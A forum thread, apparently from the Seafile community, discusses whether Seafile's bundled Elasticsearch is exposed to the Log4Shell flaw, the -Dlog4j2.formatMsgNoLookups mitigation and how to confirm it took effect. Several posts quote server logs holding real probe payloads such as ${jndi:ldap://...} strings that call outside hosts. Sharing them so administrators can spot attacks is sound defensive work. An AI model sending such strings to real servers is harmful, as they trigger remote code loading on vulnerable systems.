URGENT! Zero-Day-Exploit in log4j

Hi,
there’s a zero day exploit in the log4j java library, see CVE-2021-44228. An attacker can place an ldap url in the logfile that the local log4j will execute and download malicious code.

Our seafile pro server 7.0.19 is affected. My solution was to edit the jvm.options file under pro/elasticsearch/config and add the following entry to the log4j-Options:

-Dlog4j2.formatMsgNoLookups=true

This will prevent log4j to lookup the malicious ldap urls.

Regards,
Dirk

4 Likes

Thanks for the solution. I just started a big sweep of all systems for log4j versions and Seafile just popped up. Bad weekend for IT Staff.

Ps. i just run trivy on elasticsearch directory and there are more issues that falls in the category “critical”.

Yes, we were very busy, too :roll_eyes:

BTW, you can see the attacks in your seahub.log. They started yesterday and look like this:

2021-12-11 11:35:27,421 [WARNING] django.request:152 get_response Not Found: /${jndi:ldap://85.10.195.175:80/ye}
2021-12-11 13:26:24,007 [WARNING] django.request:152 get_response Not Found: /${jndi:ldaps://852df20d.probe001.log4j.leakix.net:9200/b}
2021-12-11 13:43:10,039 [WARNING] django.request:152 get_response Not Found: /${jndi:ldap://185.244.214.217:57715/1}${jndi:ldap://185.244.214.217:57715/2}${jndi:ldap://185.244.214.217:57715/3}

Just search for “jndi” in your seafile or nginx logfiles.

138.68.167.19 - - [10/Dec/2021:19:33:44 +0100] "GET / HTTP/1.1" 400 248 "-" "${jndi:rmi://134.209.163.248:80/Z}" "-"
138.68.167.19 - - [10/Dec/2021:19:33:45 +0100] "GET /favicon.ico HTTP/1.1" 400 248 "-" "${jndi:rmi://134.209.163.248:80/Z}" "-"
147.182.154.100 - - [10/Dec/2021:21:03:28 +0100] "GET / HTTP/1.1" 200 612 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}" "-"
147.182.154.100 - - [10/Dec/2021:21:03:28 +0100] "GET /favicon.ico HTTP/1.1" 404 146 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}" "-"
164.90.199.216 - - [10/Dec/2021:21:03:43 +0100] "GET / HTTP/1.1" 200 612 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}" "-"
2 Likes

So you know if Seafile Server non-Pro is also affected?

Yup, I think so…

I got seafile community running in docker. I see the following in the logs:
2021-12-11 22:12:01,909 [WARNING] django.request:222 log_response Not Found: /owa/auth/x.js
2021-12-11 22:12:02,281 [WARNING] django.request:222 log_response Not Found: /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application
2021-12-11 22:13:57,537 [WARNING] django.request:222 log_response Not Found: /owa/auth/logon.aspx
2021-12-12 01:15:12,160 [WARNING] django.request:222 log_response Not Found: /favicon.ico
2021-12-12 02:09:43,891 [WARNING] django.request:222 log_response Not Found: /${jndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path}

But on the other hand, I cannot find any setup or directories for elasticsearch (pro only I assume).

So maybe, there are attacks but it’s not vulnerable for this. Hopefully someone can clear this up.

1 Like

Yes, I would also assume that the community edition is not vulnerable to this. In contrast to the pro version the downloads for the community editions do not contain the log4j jar files.
Also, my server that is running community edition does not have a log4j jar file anywhere on disk.

But it would be great to get a feedback from the dev team about this!

It seems that elasticsearch, which is used for file search in seafile, is not susceptible to remote code execution with this vulnerability due to the use of the Java Security Manager.

For more information please refer to:

Also the elasticsearch application is not accessible directly from the public, only through seahub for logged in users / api.

Of course it would be nice to get this confirmed from the devs (@Jonathan and @daniel.pan)

2 Likes

According to current knowledge, there does not seem to be a big risk for Seafile systems at the moment, because no attack can be done over the internet, but only through a full text search by a logged in user.

The attack can be mitigated by adding the following line to seafile-server-latest/pro/elasticsearch/config/jvm.options and restarting the seafile service on the background server:

-Dlog4j2.formatMsgNoLookups=true

Seafile community edition does not include Java component. So it is not related.

3 Likes

Can you specify this in more detail?

Regarding elasticsearch, it seems that they updated the information page (see my previous posted link), which says:

Elasticsearch 6 and 7 are not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager. Investigation into Elasticsearch 5 is ongoing.

As it seems that seafile uses Elasticsearch 5, the mitigation solution should be used until there are more news available.

Are there other java applications inside seafile that use log4j ?

One information for all users who want to confirm the setting mentioned by Daniel:

After restart of seafile server, you should take a look at the following log file:

logs/elasticsearch.log

on line 6 there is the follwing conent:

JVM arguments [-Xms1g, -Xmx1g, -XX:-AssumeMP, -XX:+Use ...

If you search for -Dlog4j2.formatMsgNoLookups=true and it appears there, the fix is working for you (Elasticsearch has been started with this setting).

Maybe this can help someone.

Seafile pro edition 7.x and 8.x use ElasticSearch 5.6. According to ElasticSearch forum (Apache Log4j2 Remote Code Execution (RCE) Vulnerability - CVE-2021-44228 - ESA-2021-31 - Security Announcements - Discuss the Elastic Stack), ElasticSearch 5.6 contain a vulnerable version of Log4j.

Seafile pro edition will build a search query using user’s input and send it to ElasticSearch. Normally, ElasticSearch will not log queries.

But if there are some exceptions when handling the query, (for example, not enough memory), ElasticSearch may log the query and trigger an attack.

So far, I can’t reproduce an attack with Seafile pro 8.0. But the best way to mitigate the problem is adding

-Dlog4j2.formatMsgNoLookups=true

In summary, so far, there does not seem to be a big risk for Seafile systems at the moment, because no attack can be done over the internet, but only through a full text search by a logged in user. And according to ElasticSearch forum, how ElasticSearch 5.6 can be attacked with log4j2 vulnerability is not known yet.

1 Like

So seafile pro users are not affected in this case? @daniel.pan
I saw last week many tries of: “GET /$%7Bjndi:ldap://” So this doesn’t work on Seafile pro?

please have a look at the following post for more details:

1 Like

@daniel.pan: Thank you for the reply. Just one comment: you do not necessarily need to be logged in to use the full text search. A published library also offers the same functionality without requiring any form of authentication.

Thanks for the reminder. You are right about it.

The URLs are handled by seahub written in Python. So it does not work with Seafile.

1 Like

Is Seafile community edition affected in any manner? I have the following errors:

2021-12-11 08:46:14,277 [WARNING] django.request:228 log_response Not Found: /${jndi:ldap://45.130.229.168:1389/Exploit}
2021-12-11 19:57:03,622 [WARNING] django.request:228 log_response Not Found: /${jndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/
http443path}
2021-12-12 01:40:42,152 [WARNING] django.request:228 log_response Not Found: /${jndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/h
ttp80path}
2021-12-13 03:06:53,440 [WARNING] django.request:228 log_response Not Found: /${jndi:dns://45.83.64.1/securityscan-https443}

What else should I check?

These errors are from malicious scripts that want to explore the vulnerabilty. But the URLs are handled by seahub written in Python. So it does not work with Seafile.

1 Like

I’m using the docker version of Seafile Pro. Where is the config file for elasticsearch located in this setup?

Regards,
Martin Angermeier